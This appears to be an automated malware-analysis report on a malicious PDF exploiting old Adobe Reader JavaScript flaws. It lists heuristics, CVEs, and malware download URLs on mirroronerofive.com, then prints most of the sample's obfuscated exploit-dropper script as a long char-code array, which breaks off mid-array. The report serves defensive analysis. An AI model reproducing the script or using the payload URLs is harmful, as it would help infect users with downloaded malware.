PDF malware analysis — malicious · f552d42779afe5e5

MALICIOUS

PDF

75.7 KB Created: 2009-11-12 19:41:80 Authoring application: PDF Library 5.8.3 (via PDF Library 10.2.3) First seen: 2012-07-12

MD5: d4eb5388b835413311eb10bc78b22fe2 SHA-1: 440cc7e5bf75735f9c95d465d9018ff1fdbc5c5f SHA-256: f552d42779afe5e53bf10b457f9b9c9934f8fec4c3593b4b1bef247eebaf70da

592 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.001 PowerShell

The PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. Static analysis indicates that this JavaScript is designed to download and execute a second-stage payload, as evidenced by the ClamAV detection of 'Js.Exploit.Shellcode-18' in an extracted artifact. The primary exploit targets are identified by the critical heuristic firings.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/dgwy2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/bchjpx2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/ejptz2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38268 bytes
SHA-256: `28818cc14dee8640ce810cc3d9e8a218d2dca93fb9e866452c3e7bb4ff358e69`
Preview script First 1,000 lines of the extracted script var aflpvy="";zkuax=64267;fknv=true;dgntv='';mobtz=14979;abfs="";var aloqsu=false,ekorvx='',tjzfa="",cdgnrt=false,bgkp=false,cbyzo=0,jrtu=String,jlvx=jrtu['fBrgoJmLCzhJaLrzCLoBdBeB'.replace(/[BzgLJ]/g,'')],fpuw=String,dlmnv=fpuw['eDvDaolf'.replace(/[fUocD]/g,'')],nmzw="80",dgnsuv="",bcmu=[69,58,65,150,173,158,155,164,161,159,166,80,158,153,176,143,161,164,96,169,153,162,171,160,100,80,164,149,166,89,179,61,66,57,65,167,160,153,164,149,88,88,177,145,170,163,168,94,164,149,166,151,172,152,88,90,88,98,88,108,88,156,157,158,97,171,69,58,65,57,65,169,153,162,171,160,88,91,117,80,177,145,170,163,168,107,69,58,65,57,181,61,66,57,65,169,153,162,171,160,88,109,88,169,153,162,171,160,102,163,173,146,171,164,170,153,166,151,96,96,100,80,164,149,166,95,106,89,115,61,66,57,65,162,157,164,173,162,166,80,177,145,170,163,168,107,69,58,65,173,69,58,69,58,65,150,173,158,155,164,161,159,166,80,173,164,161,156,151,160,170,153,166,164,158,88,97,171,69,58,65,57,174,145,170,80,168,145,177,156,167,145,156,80,117,80,173,158,157,163,155,145,168,149,96,82,93,165,125,114,125,105,93,165,104,96,104,97,93,165,109,102,104,96,93,165,121,97,110,100,93,165,104,96,107,96,93,165,104,96,104,96,93,165,108,96,112,114,93,165,112,114,104,115,93,165,105,115,111,96,93,165,112,114,121,116,93,165,104,104,108,96,93,165,123,99,109,117,93,165,112,114,109,101,93,165,112,114,125,115,93,165,104,104,108,101,93,165,107,99,109,98,93,165,123,97,124,98,93,165,104,99,123,98,93,165,105,96,107,98,93,165,112,96,108,96,93,165,104,96,107,104,93,165,126,101,111,101,93,165,123,98,112,114,93,165,109,116,109,113,93,165,104,100,123,98,93,165,109,101,104,96,93,165,125,115,112,114,93,165,109,97,109,97,93,165,109,102,109,99,93,165,110,96,109,103,93,165,109,116,112,114,93,165,107,99,104,104,93,165,112,114,123,96,93,165,104,115,111,101,93,165,126,117,112,114,93,165,111,102,104,99,93,165,112,114,107,115,93,165,111,104,108,117,93,165,123,118,104,99,93,165,109,97,112,114,93,165,109,98,105,115,93,165,109,97,112,114,93,165,109,98,106,100,93,165,111,97,112,114,93,165,108,117,105,100,93,165,111,101,112,105,93,165,112,114,126,115,93,165,106,96,111,97,93,165,126,103,104,99,93,165,108,113,113,105,93,165,108,98,121,116,93,165,107,114,110,96,93,165,126,115,109,101,93,165,104,100,111,101,93,165,123,96,107,99,93,165,107,103,125,114,93,165,126,118,107,99,93,165,108,101,104,99,93,165,113,103,104,115,93,165,123,118,112,114,93,165,111,101,121,117,93,165,106,114,126,116,93,165,108,118,126,105,93,165,125,104,109,97,93,165,126,118,113,100,93,165,126,118,126,118,93,165,123,99,107,114,93,165,111,100,110,97,93,165,125,114,104,98,93,165,112,114,124,105,93,165,104,115,108,101,93,165,109,117,113,98,93,165,126,98,104,99,93,165,125,96,124,97,93,165,123,102,104,99,93,165,123,105,107,99,93,165,122,103,104,118,93,165,109,118,104,104,93,165,125,97,123,97,93,165,104,99,104,98,93,165,104,99,123,113,93,165,112,114,123,118,93,165,104,99,104,97,93,165,112,105,123,98,93,165,126,104,108,101,93,165,112,114,110,97,93,165,126,104,108,101,93,165,109,117,109,118,93,165,123,105,109,114,93,165,109,101,123,99,93,165,125,115,112,114,93,165,125,104,109,97,93,165,126,118,108,105,93,165,126,118,126,118,93,165,110,104,109,96,93,165,110,96,125,104,93,165,104,100,122,118,93,165,110,115,125,104,93,165,126,118,126,118,93,165,107,99,126,118,93,165,109,98,124,98,93,165,126,118,109,98,93,165,104,104,111,101,93,165,124,96,126,118,93,165,108,101,112,105,93,165,112,114,126,115,93,165,126,115,108,101,93,165,123,99,123,105,93,165,112,114,109,101,93,165,112,99,125,115,93,165,104,115,125,115,93,165,108,101,112,116,93,165,109,96,126,100,93,165,108,101,123,102,93,165,111,101,126,100,93,165,108,101,123,102,93,165,111,98,126,101,93,165,108,101,123,102,93,165,110,115,126,102,93,165,108,101,123,102,93,165,110,116,126,103,93,165,108,101,123,102,93,165,110,118,126,104,93,165,108,101,123,102,93,165,110,117,126,105,93,165,108,101,123,102,93,165,106,117,126,113,93,165,108,101,123,102,93,165,110,100,126,114,93,165,108,101,123,102,93,165,110,115,126,115,93,165,108,101,123,102,93,165,110,115,126,116,93,165,108,101,123,102,93,165,104,96,126,117,93,165,121,96,125,104,93,165,126,118,126,118,93,165,109,96,126,118,93,165,109,116,110,104,93,165,105,97,112,113,93,165,125,104,105,102,93,165,126,118,105,101,93,165,126,118,126,118,93,165,123,100,112,99,93,165,112,101,104,115,93,165,111,100,123,96,93,165,110,113,105,101,93,165,110,113,104,96,93,165,126,118,104,96,93,165,104,115,111,101,93,165,111,101,126,118,93,165,110,113,104,104,93,165,126,118,104,96,93,165,112,101,124,96,93,165,111,101,123,96,93,165,108,96,104,99,93,165,123,99,123,105,93,165,123,96,107,99,93,165,123,99,123,105,93,165,107,99,109,103,93,165,112,114,123,96,93,165,106,100,108,115,93,165,112,114,104,115,93,165,106,100,111,115,93,165,126,115,104,104,93,165,121,113,126,99,93,165,123,99,109,118,93,165,108,115,112,114,93,165,104,100,106,100,93,165,107,105,112,96,93,165,112,114,104,96,93,165,111,100,123,97,93,165,108,96,104,102,93,165,107,104,112,96,93,165,111,101,104,96,93,165,106,114,126,113,93,165,123,99,123,97,93,165,112,114,109,101,93,165,112,99,125,115,93,165,110,100,125,115,93,165,112,116,109,99,93,165,126,96,108,101,93,165,107,99,109,103,93,165,109,96,124,114,93,165,108,101,123,102,93,165,110,114,126,96,93,165,108,101,123,102,93,165,110,101,126,97,93,165,108,101,123,102,93,165,111,98,126,98,93,165,108,101,123,102,93,165,110,117,126,99,93,165,108,101,123,102,93,165,110,101,126,100,93,165,108,101,123,102,93,165,110,115,126,101,93,165,108,101,123,102,93,165,107,99,126,102,93,165,108,101,123,102,93,165,107,98,126,103,93,165,108,101,123,102,93,165,106,117,126,104,93,165,108,101,123,102,93,165,110,100,126,105,93,165,108,101,123,102,93,165,110,115,126,113,93,165,108,101,123,102,93,165,110,115,126,114,93,165,109,116,112,104,93,165,125,104,126,115,93,165,126,118,104,114,93,165,126,118,126,118,93,165,110,104,109,96,93,165,108,99,110,104,93,165,112,117,126,105,93,165,112,96,125,104,93,165,126,118,126,117,93,165,112,114,126,118,93,165,112,116,126,104,93,165,113,115,108,101,93,165,108,100,110,113,93,165,125,104,109,96,93,165,126,118,111,117,93,165,126,118,126,118,93,165,108,101,112,116,93,165,110,113,125,96,93,165,109,96,105,96,93,165,111,99,125,104,93,165,126,118,126,118,93,165,112,99,126,118,93,165,105,115,123,100,93,165,108,101,112,116,93,165,109,96,125,96,93,165,108,101,112,116,93,165,109,96,113,115,93,165,109,99,109,99,93,165,109,99,109,99,93,165,109,99,109,99,93,165,111,101,126,118,93,165,123,103,104,104,93,165,113,115,108,101,93,165,104,96,108,100,93,165,104,96,104,96,93,165,126,118,109,99,93,165,109,118,124,103,93,165,122,102,104,118,93,165,109,114,123,96,93,165,123,99,123,105,93,165,112,114,109,101,93,165,109,97,125,115,93,165,109,99,109,97,93,165,109,103,109,102,93,165,108,98,110,113,93,165,111,98,125,104,93,165,104,96,104,96,93,165,112,114,104,96,93,165,107,99,124,104,93,165,112,101,126,102,93,165,109,105,124,114,93,165,108,101,123,103,93,165,110,97,126,104,93,165,110,101,106,117,93,165,123,103,111,104,93,165,126,115,108,101,93,165,104,96,110,101,93,165,104,96,104,96,93,165,109,102,111,117,93,165,108,101,112,116,93,165,109,96,126,104,93,165,125,104,109,102,93,165,104,96,109,97,93,165,104,96,104,96,93,165,109,96,109,105,93,165,122,97,125,104,93,165,126,118,126,117,93,165,112,101,126,118,93,165,109,105,123,96,93,165,111,100,109,105,93,165,112,116,107,105,93,165,104,97,108,102,93,165,125,104,109,96,93,165,104,96,107,114,93,165,104,96,104,96,93,165,126,104,112,114,93,165,108,101,112,116,93,165,109,96,126,104,93,165,106,97,125,104,93,165,126,118,126,118,93,165,112,101,126,118,93,165,109,105,123,96,93,165,111,100,109,105,93,165,109,103,104,115,93,165,104,97,125,104,93,165,126,118,126,118,93,165,109,105,126,118,93,165,108,100,123,102,93,165,126,118,107,104,93,165,109,96,111,99,93,165,108,101,112,116,93,165,126,117,126,104,93,165,109,104,104,96,93,165,108,101,112,116,93,165,109,96,126,104,93,165,125,104,109,103,93,165,126,117,111,100,93,165,126,118,126,118,93,165,109,105,109,105,93,165,108,102,108,102,93,165,126,99,107,114,93,165,121,113,111,115,93,165,109,117,109,118,93,165,123,105,109,114,93,165,109,101,123,99,93,165,125,115,112,114,93,165,109,99,109,97,93,165,110,96,110,102,93,165,107,98,122,97,93,165,104,96,125,104,93,165,104,96,104,96,93,165,109,104,104,96,93,165,104,104,107,104,93,165,104,99,111,100,93,165,125,114,108,96,93,165,108,96,126,105,93,165,109,116,112,114,93,165,112,96,104,104,93,165,108,98,126,114,93,165,104,104,111,101,93,165,124,114,107,99,93,165,105,104,112,113,93,165,123,99,112,114,93,165,105,103,125,114,93,165,105,104,107,104,93,165,105,97,111,102,93,165,107,99,108,96,93,165,112,100,123,105,93,165,111,100,124,114,93,165,108,96,104,115,93,165,104,104,107,104,93,165,126,114,111,101,93,165,126,117,108,96,93,165,125,114,123,114,93,165,107,99,126,98,93,165,112,105,123,96,93,165,126,115,108,101,93,165,108,101,112,114,93,165,109,114,126,115,93,165,123,99,123,105,93,165,104,98,107,98,93,165,111,100,110,104,93,165,111,96,111,100,93,165,106,118,107,113,93,165,110,116,106,118,93,165,111,98,110,105,93,165,110,118,111,98,93,165,110,118,111,98,93,165,110,101,110,117,93,165,110,118,111,98,93,165,110,105,110,102,93,165,110,101,111,102,93,165,110,99,106,117,93,165,110,116,110,118,93,165,111,99,106,118,93,165,110,101,110,115,93,165,111,96,110,101,93,165,110,100,106,118,93,165,111,103,110,103,93,165,107,98,111,105,93,165,110,101,106,117,93,165,110,101,111,104,93,165,110,104,104,96,93,165,111,100,111,100,93,165,107,113,111,96,93,165,106,118,106,118,93,165,110,105,110,116,93,165,111,98,111,98,93,165,111,98,110,118,93,165,110,117,110,118,93,165,111,98,110,101,93,165,110,102,110,118,93,165,111,102,110,105,93,165,106,117,110,101,93,165,110,118,110,99,93,165,106,118,110,116,93,165,110,115,111,99,93,165,110,101,110,101,93,165,106,118,111,96,93,165,110,115,110,99,93,165,110,99,110,105,93,165,106,117,110,114,93,165,110,104,111,96,93,165,107,118,111,96,93,165,107,116,111,98,93,165,104,96,104,96,90,89,115,61,66,57,65,166,153,162,88,158,167,160,88,109,88,165,166,149,171,147,153,160,157,88,90,85,173,96,121,96,121,85,173,96,121,96,121,85,173,96,121,96,121,85,173,96,121,96,121,82,97,61,66,57,65,166,153,162,88,152,157,145,168,146,164,159,155,155,88,109,88,158,167,160,88,91,88,160,153,169,164,159,153,148,115,61,66,57,65,166,153,162,88,146,161,151,154,156,167,147,163,80,117,80,173,158,157,163,155,145,168,149,96,82,93,165,104,113,104,113,93,165,104,113,104,113,90,89,115,61,66,57,65,166,153,162,88,152,157,145,156,149,170,163,161,170,157,80,117,80,106,96,115,61,66,57,65,166,153,162,88,163,168,162,153,169,88,109,88,152,157,145,156,149,170,163,161,170,157,80,99,80,160,149,153,160,154,156,167,147,163,94,164,149,166,151,172,152,115,61,66,57,65,167,160,153,164,149,88,88,154,153,159,146,164,159,155,155,102,156,157,158,159,164,160,80,116,80,171,160,170,145,177,89,179,61,66,57,65,57,154,153,159,146,164,159,155,155,88,91,117,80,154,153,159,146,164,159,155,155,115,61,66,57,65,173,69,58,65,57,174,145,170,80,158,153,164,156,154,156,167,147,163,80,117,80,154,153,159,146,164,159,155,155,102,163,173,146,171,164,170,153,166,151,96,96,100,80,171,160,170,145,177,89,115,61,66,57,65,166,153,162,88,146,164,159,155,155,88,109,88,146,161,151,154,156,167,147,163,94,171,165,154,163,172,162,161,158,159,88,104,92,88,146,161,151,154,156,167,147,163,94,164,149,166,151,172,152,101,163,168,162,153,169,97,107,69,58,65,57,175,152,161,156,157,80,96,146,164,159,155,155,102,156,157,158,159,164,160,91,171,160,170,145,177,80,116,80,104,168,108,96,104,96,104,89,179,61,66,57,65,57,154,156,167,147,163,80,117,80,154,156,167,147,163,80,99,80,154,156,167,147,163,80,99,80,158,153,164,156,154,156,167,147,163,107,69,58,65,57,181,61,66,57,65,166,153,162,88,157,157,157,151,145,170,162,153,169,88,109,88,158,157,167,88,113,170,162,153,169,96,89,115,61,66,57,65,150,167,162,88,88,174,145,170,80,161,80,117,80,104,107,88,153,88,108,88,97,108,96,104,107,88,153,99,91,97,171,69,58,65,57,65,157,157,157,151,145,170,162,153,169,147,153,149,80,117,80,154,156,167,147,163,80,99,80,160,149,153,160,154,156,167,147,163,107,69,58,65,57,181,61,66,57,65,166,153,162,88,158,173,157,88,109,88,97,106,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,104,112,107,69,58,65,57,173,164,161,156,102,160,170,153,166,164,158,88,90,85,108,101,104,96,104,150,90,92,88,158,173,157,97,107,69,58,65,173,69,58,69,58,65,150,173,158,155,164,161,159,166,80,155,159,164,156,153,146,151,149,165,145,161,156,96,89,179,61,66,57,65,166,153,162,88,163,160,149,164,156,155,159,156,149,88,109,88,165,166,149,171,147,153,160,157,88,90,85,173,117,122,117,113,85,173,96,104,96,105,85,173,101,110,96,104,85,173,113,105,102,108,85,173,96,104,99,104,85,173,96,104,96,104,85,173,100,104,104,122,85,173,104,122,96,123,85,173,97,123,103,104,85,173,104,122,113,124,85,173,96,112,100,104,85,173,115,107,101,125,85,173,104,122,101,109,85,173,104,122,117,123,85,173,96,112,100,109,85,173,99,107,101,106,85,173,115,105,116,106,85,173,96,107,115,106,85,173,97,104,99,106,85,173,104,104,100,104,85,173,96,104,99,112,85,173,118,109,103,109,85,173,115,106,104,122,85,173,101,124,101,121,85,173,96,108,115,106,85,173,101,109,96,104,85,173,117,123,104,122,85,173,101,105,101,105,85,173,101,110,101,107,85,173,102,104,101,111,85,173,101,124,104,122,85,173,99,107,96,112,85,173,104,122,115,104,85,173,96,123,103,109,85,173,118,125,104,122,85,173,103,110,96,107,85,173,104,122,99,123,85,173,103,112,100,125,85,173,115,126,96,107,85,173,101,105,104,122,85,173,101,106,97,123,85,173,101,105,104,122,85,173,101,106,98,108,85,173,103,105,104,122,85,173,100,125,97,108,85,173,103,109,104,113,85,173,104,122,118,123,85,173,98,104,103,105,85,173,118,111,96,107,85,173,100,121,105,113,85,173,100,106,113,124,85,173,99,122,102,104,85,173,118,123,101,109,85,173,96,108,103,109,85,173,115,104,99,107,85,173,99,111,117,122,85,173,118,126,99,107,85,173,100,109,96,107,85,173,105,111,96,123,85,173,115,126,104,122,85,173,103,109,113,125,85,173,98,122,118,124,85,173,100,126,118,113,85,173,117,112,101,105,85,173,118,126,105,108,85,173,118,126,118,126,85,173,115,107,99,122,85,173,103,108,102,105,85,173,117,122,96,106,85,173,104,122,116,113,85,173,96,123,100,109,85,173,101,125,105,106,85,173,118,106,96,107,85,173,117,104,116,105,85,173,115,110,96,107,85,173,115,113,99,107,85,173,114,111,96,126,85,173,101,126,96,112,85,173,117,105,115,105,85,173,96,107,96,106,85,173,96,107,115,121,85,173,104,122,115,126,85,173,96,107,96,105,85,173,104,113,115,106,85,173,118,112,100,109,85,173,104,122,102,105,85,173,118,112,100,109,85,173,101,125,101,126,85,173,115,113,101,122,85,173,101,109,115,107,85,173,117,123,104,122,85,173,117,112,101,105,85,173,118,126,100,113,85,173,118,126,118,126,85,173,102,112,101,104,85,173,102,104,117,112,85,173,96,108,114,126,85,173,102,123,117,112,85,173,118,126,118,126,85,173,99,107,118,126,85,173,101,106,116,106,85,173,118,126,101,106,85,173,96,112,103,109,85,173,116,104,118,126,85,173,100,109,104,113,85,173,104,122,118,123,85,173,118,123,100,109,85,173,115,107,115,113,85,173,104,122,101,109,85,173,104,107,117,123,85,173,96,123,117,123,85,173,100,109,104,124,85,173,101,104,118,108,85,173,100,109,115,110,85,173,103,109,118,108,85,173,100,109,115,110,85,173,103,106,118,109,85,173,100,109,115,110,85,173,102,123,118,110,85,173,100,109,115,110,85,173,102,124,118,111,85,173,100,109,115,110,85,173,102,126,118,112,85,173,100,109,115,110,85,173,102,125,118,113,85,173,100,109,115,110,85,173,98,125,118,121,85,173,100,109,115,110,85,173,102,108,118,122,85,173,100,109,115,110,85,173,102,123,118,123,85,173,100,109,115,110,85,173,102,123,118,124,85,173,100,109,115,110,85,173,96,104,118,125,85,173,113,104,117,112,85,173,118,126,118,126,85,173,101,104,118,126,85,173,101,124,102,112,85,173,97,105,104,121,85,173,117,112,97,110,85,173,118,126,97,109,85,173,118,126,118,126,85,173,115,108,104,107,85,173,104,109,96,123,85,173,103,108,115,104,85,173,102,121,97,109,85,173,102,121,96,104,85,173,118,126,96,104,85,173,96,123,103,109,85,173,103,109,118,126,85,173,102,121,96,112,85,173,118,126,96,104,85,173,104,109,116,104,85,173,103,109,115,104,85,173,100,104,96,107,85,173,115,107,115,113,85,173,115,104,99,107,85,173,115,107,115,113,85,173,99,107,101,111,85,173,104,122,115,104,85,173,98,108,100,123,85,173,104,122,96,123,85,173,98,108,103,123,85,173,118,123,96,112,85,173,113,121,118,107,85,173,115,107,101,126,85,173,100,123,104,122,85,173,96,108,98,108,85,173,99,113,104,104,85,173,104,122,96,104,85,173,103,108,115,105,85,173,100,104,96,110,85,173,99,112,104,104,85,173,103,109,96,104,85,173,98,122,118,121,85,173,115,107,115,105,85,173,104,122,101,109,85,173,104,107,117,123,85,173,102,108,117,123,85,173,104,124,101,107,85,173,118,104,100,109,85,173,99,107,101,111,85,173,101,104,116,122,85,173,100,109,115,110,85,173,102,122,118,104,85,173,100,109,115,110,85,173,102,109,118,105,85,173,100,109,115,110,85,173,103,106,118,106,85,173,100,109,115,110,85,173,102,125,118,107,85,173,100,109,115,110,85,173,102,109,118,108,85,173,100,109,115,110,85,173,102,123,118,109,85,173,100,109,115,110,85,173,99,107,118,110,85,173,100,109,115,110,85,173,99,106,118,111,85,173,100,109,115,110,85,173,98,125,118,112,85,173,100,109,115,110,85,173,102,108,118,113,85,173,100,109,115,110,85,173,102,123,118,121,85,173,100,109,115,110,85,173,102,123,118,122,85,173,101,124,104,112,85,173,117,112,118,123,85,173,118,126,96,122,85,173,118,126,118,126,85,173,102,112,101,104,85,173,100,107,102,112,85,173,104,125,118,113,85,173,104,104,117,112,85,173,118,126,118,125,85,173,104,122,118,126,85,173,104,124,118,112,85,173,105,123,100,109,85,173,100,108,102,121,85,173,117,112,101,104,85,173,118,126,103,125,85,173,118,126,118,126,85,173,100,109,104,124,85,173,102,121,117,104,85,173,101,104,97,104,85,173,103,107,117,112,85,173,118,126,118,126,85,173,104,107,118,126,85,173,97,123,115,108,85,173,100,109,104,124,85,173,101,104,117,104,85,173,100,109,104,124,85,173,101,104,105,123,85,173,101,107,101,107,85,173,101,107,101,107,85,173,101,107,101,107,85,173,103,109,118,126,85,173,115,111,96,112,85,173,105,123,100,109,85,173,96,104,100,108,85,173,96,104,96,104,85,173,118,126,101,107,85,173,101,126,116,111,85,173,114,110,96,126,85,173,101,122,115,104,85,173,115,107,115,113,85,173,104,122,101,109,85,173,101,105,117,123,85,173,101,107,101,105,85,173,101,111,101,110,85,173,100,106,102,121,85,173,103,106,117,112,85,173,96,104,96,104,85,173,104,122,96,104,85,173,99,107,116,112,85,173,104,109,118,110,85,173,101,113,116,122,85,173,100,109,115,111,85,173,102,105,118,112,85,173,102,109,98,125,85,173,115,111,103,112,85,173,118,123,100,109,85,173,96,104,102,109,85,173,96,104,96,104,85,173,101,110,103,125,85,173,100,109,104,124,85,173,101,104,118,112,85,173,117,112,101,110,85,173,96,104,101,105,85,173,96,104,96,104,85,173,101,104,101,113,85,173,114,105,117,112,85,173,118,126,118,125,85,173,104,109,118,126,85,173,101,113,115,104,85,173,103,108,101,113,85,173,104,124,99,113,85,173,96,105,100,110,85,173,117,112,101,104,85,173,96,104,99,122,85,173,96,104,96,104,85,173,118,112,104,122,85,173,100,109,104,124,85,173,101,104,118,112,85,173,98,105,117,112,85,173,118,126,118,126,85,173,104,109,118,126,85,173,101,113,115,104,85,173,103,108,101,113,85,173,101,111,96,123,85,173,96,105,117,112,85,173,118,126,118,126,85,173,101,113,118,126,85,173,100,108,115,110,85,173,118,126,99,112,85,173,101,104,103,107,85,173,100,109,104,124,85,173,118,125,118,112,85,173,101,112,96,104,85,173,100,109,104,124,85,173,101,104,118,112,85,173,117,112,101,111,85,173,118,125,103,108,85,173,118,126,118,126,85,173,101,113,101,113,85,173,100,110,100,110,85,173,118,107,99,122,85,173,113,121,103,123,85,173,101,125,101,126,85,173,115,113,101,122,85,173,101,109,115,107,85,173,117,123,104,122,85,173,101,107,101,105,85,173,102,104,102,110,85,173,99,106,114,105,85,173,96,104,117,112,85,173,96,104,96,104,85,173,101,112,96,104,85,173,96,112,99,112,85,173,96,107,103,108,85,173,117,122,100,104,85,173,100,104,118,113,85,173,101,124,104,122,85,173,104,104,96,112,85,173,100,106,118,122,85,173,96,112,103,109,85,173,116,122,99,107,85,173,97,112,104,121,85,173,115,107,104,122,85,173,97,111,117,122,85,173,97,112,99,112,85,173,97,105,103,110,85,173,99,107,100,104,85,173,104,108,115,113,85,173,103,108,116,122,85,173,100,104,96,123,85,173,96,112,99,112,85,173,118,122,103,109,85,173,118,125,100,104,85,173,117,122,115,122,85,173,99,107,118,106,85,173,104,113,115,104,85,173,118,123,100,109,85,173,100,109,104,122,85,173,101,122,118,123,85,173,115,107,115,113,85,173,96,106,99,106,85,173,103,108,102,112,85,173,103,104,103,108,85,173,98,126,99,121,85,173,102,124,98,126,85,173,103,106,102,113,85,173,102,126,103,106,85,173,102,126,103,106,85,173,102,109,102,125,85,173,102,126,103,106,85,173,102,113,102,110,85,173,102,109,103,110,85,173,102,107,98,125,85,173,102,124,102,126,85,173,103,107,98,126,85,173,102,109,102,123,85,173,103,104,102,109,85,173,102,106,98,126,85,173,102,112,102,107,85,173,103,104,102,121,85,173,99,106,103,112,85,173,102,109,98,125,85,173,102,109,103,112,85,173,102,112,96,104,85,173,103,108,103,108,85,173,99,121,103,104,85,173,98,126,98,126,85,173,102,113,102,124,85,173,103,106,103,106,85,173,103,106,102,126,85,173,102,125,102,126,85,173,103,106,102,109,85,173,102,110,102,126,85,173,103,110,102,113,85,173,98,125,102,109,85,173,102,126,102,107,85,173,98,126,102,124,85,173,102,123,103,107,85,173,102,109,102,109,85,173,98,126,103,104,85,173,102,123,102,107,85,173,102,107,102,113,85,173,98,125,102,122,85,173,102,112,103,104,85,173,99,126,103,104,85,173,99,124,103,106,85,173,96,104,96,104,82,97,107,69,58,65,57,174,145,170,80,165,149,165,143,153,162,170,145,177,80,117,80,166,149,175,80,121,162,170,145,177,88,97,107,69,58,65,57,174,145,170,80,155,147,88,109,88,96,176,96,155,96,155,96,155,96,155,107,69,58,65,57,174,145,170,80,153,148,156,162,88,109,88,96,176,100,104,96,104,96,104,107,69,58,65,57,174,145,170,80,171,147,151,156,157,158,88,109,88,163,160,149,164,156,155,159,156,149,102,156,157,158,159,164,160,80,98,80,106,107,69,58,65,57,174,145,170,80,164,149,166,80,117,80,153,148,156,162,88,93,88,88,171,147,151,156,157,158,99,96,176,99,112,89,115,61,66,57,65,166,153,162,88,169,153,162,171,160,88,109,88,165,166,149,171,147,153,160,157,88,90,85,173,105,104,105,104,85,173,105,104,105,104,82,9